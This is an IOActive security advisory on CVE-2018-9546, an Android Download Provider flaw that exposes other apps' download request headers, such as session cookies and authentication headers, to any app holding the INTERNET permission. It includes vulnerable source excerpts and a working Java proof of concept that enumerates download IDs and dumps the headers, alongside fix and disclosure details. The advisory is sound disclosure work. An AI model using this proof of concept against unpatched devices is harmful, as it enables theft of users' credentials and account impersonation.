IOActive Security Advisory

Title	Android (AOSP) Download Provider Request Headers Information Disclosure (CVE-2018-9546)
Severity	High
Discovered by	Daniel Kachakil
Advisory Date	April 01, 2019

Affected Products

1. Android Open Source Project (AOSP)
   Android versions: 5.1, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1, 9

Impact

A malicious application with the `INTERNET` permission granted could retrieve all entries from the Download Provider request headers table.

These headers may include sensitive information, such as session cookies or authentication headers, for any download started from the Android Browser or Google Chrome, among other applications.

Consider the impact that this would have on a user downloading a file from an authenticated website or URL. For example, an electronic statement file from an online bank or an attachment from corporate webmail may allow an attacker to impersonate the user on these platforms.

Background

According to internal documentation, the Android Download Provider is used to handle OTA updates and the basic download needs of relevant applications such as Gmail, Android's Browser (now Google Chrome), or Market (i.e. Google Play Store).

By design, all this information should be restricted to the application that requested the download or to applications with the explicit permission to access all downloads. This is why custom permissions and different URI paths exist for this provider.

Technical Details

Access to the Download Content Provider requires different permissions, such as `INTERNET` or `ACCESS_ALL_DOWNLOADS`, depending on the requested URI, as shown in the `AndroidManifest.xml`[1] file:

```
<provider android:name=".DownloadProvider"
          android:authorities="downloads" android:exported="true">
  <!-- Anyone can access /my_downloads, the provider internally restricts
       access by UID for these URIs -->
  <path-permission android:pathPrefix="/my_downloads"
                   android:permission="android.permission.INTERNET"/>
  <!-- to access /all_downloads, ACCESS_ALL_DOWNLOADS permission is
       required -->
  <path-permission android:pathPrefix="/all_downloads"
     android:permission="android.permission.ACCESS_ALL_DOWNLOADS"/>
  <!-- Temporary, for backwards compatibility -->
  <path-permission android:pathPrefix="/download"
     android:permission="android.permission.INTERNET"/>

  <!-- Apps with access to /all_downloads/... can grant permissions,
       allowing them to share downloaded files with other viewers -->
  <grant-uri-permission android:pathPrefix="/all_downloads/"/>
  <!-- Apps with access to /my_downloads/... can grant permissions,
       allowing them to share downloaded files with other viewers -->
  <grant-uri-permission android:pathPrefix="/my_downloads/"/>
</provider>
```

Analyzing the source code[2], we can see a couple of equivalent URIs that handle the queries for the request headers information:

---

[1] https://android.googlesource.com/platform/packages/providers/DownloadProvider/+/master/AndroidManifest.xml

[2] At the time of discovery, it was found in the AOSP master branch:
https://android.googlesource.com/platform/packages/providers/DownloadProvider/+/master/src/com/android/providers/downloads/DownloadProvider.java
After the fix, the equivalent contents can be found in the following commit:
https://android.googlesource.com/platform/packages/providers/DownloadProvider/+/20dfa43eb73a6fca9564652c10bdcfa67bc740aa/src/com/android/providers/downloads/DownloadProvider.java


```
sURIMatcher.addURI("downloads",
        "my_downloads/#/" + Downloads.Impl.RequestHeaders.URI_SEGMENT,
        REQUEST_HEADERS_URI);
...
sURIMatcher.addURI("downloads",
        "download/#/" + Downloads.Impl.RequestHeaders.URI_SEGMENT,
        REQUEST_HEADERS_URI);
```

In the following code fragment, notice how nothing prevents access to any arbitrary identifier provided in the URI path:

```
@Override
public query(final Uri uri, String[] projection,
          final String selection, final String[] selectionArgs,
          final String sort) {

    SQLiteDatabase db = mOpenHelper.getReadableDatabase();

    int match = sURIMatcher.match(uri);
    if (match == -1) {
        if (Constants.LOGV) {
            Log.v(Constants.TAG, "querying unknown URI: " + uri);
        }
        throw new IllegalArgumentException("Unknown URI: " + uri);
    }
    if (match == REQUEST_HEADERS_URI) {
        if (projection != null || selection != null || sort != null) {
            throw new UnsupportedOperationException(
                        "Request header queries do not support " +
                        "projections, selections or sorting");
        }
        return queryRequestHeaders(db, uri);
    }
...
```

In the inner method, we can see how the only selection clause will be the one that simply retrieves the row with the ID provided in the URL:


```
private Cursor queryRequestHeaders(SQLiteDatabase db, Uri uri) {
    String where = Downloads.Impl.RequestHeaders.COLUMN_DOWNLOAD_ID + "="
                   + getDownloadIdFromUri(uri);

    String[] projection = new String[]
                 {Downloads.Impl.RequestHeaders.COLUMN_HEADER,
                  Downloads.Impl.RequestHeaders.COLUMN_VALUE};

    return db.query(Downloads.Impl.RequestHeaders.HEADERS_DB_TABLE,
                    projection, where, null, null, null, null);
}
```

Proof of Concept

The following code fragment running locally from a malicious application granted the `INTERNET` permission will retrieve all existing rows in the `request_headers` table of the internal database of the Download Provider:

```
ContentResolver res = this.getContentResolver();
for (int i = 0; i < 100000 /*Integer.MAX_VALUE*/; i++) {
    Uri uri = Uri.parse("content://downloads/my_downloads/" + i +
                        "/headers" );
    Cursor cur = res.query(uri, null, null, null, null);

    if (cur != null && cur.getCount() > 0) {
        StringBuilder sb = new StringBuilder();
        while (cur.moveToNext()) {
            String h = cur.getString(cur.getColumnIndex("header"));
            String v = cur.getString(cur.getColumnIndex("value"));
            sb.append(h).append(": ").append(v).append("\n");
        }
        Log.d("HDR", sb.toString());
    }
    cur.close();
}
```


There is a PoC app accompanying this advisory[3]. In its UI, we can specify the range of identifiers to iterate to dump all request headers from the Download Provider database.

[3] https://github.com/IOActive/AOSP-DownloadProviderHeadersDumper

Fixes

The `INTERNET` permission is clearly insufficient to protect sensitive information, such as session cookies or authentication headers. It is highly recommended to ensure that the caller has access to the requested download before returning the data.

Mitigation

The vulnerability has been fixed in the official repository. Specifically, in the following commit:

https://android.googlesource.com/platform/packages/providers/DownloadProvider/+/e7364907439578ce5334bce20bb03fef2e88b107

Several vendors integrating Android had released security patches for this vulnerability in October 2018. IOActive recommends applying the latest security patches from your vendor. If for any reason it is not possible to apply such updates, make sure that your Android device only contains trusted applications before attempting to download any files, particularly if they contain confidential information.

Timeline

2018-06-19	IOActive discovers vulnerability
2018-06-29	IOActive reports vulnerability to Google
2018-10-01	Google publishes the fix for the vulnerability
2019-03-30	Presented at RootedCon Security Conference (Spain)
2019-04-01	IOActive advisory published

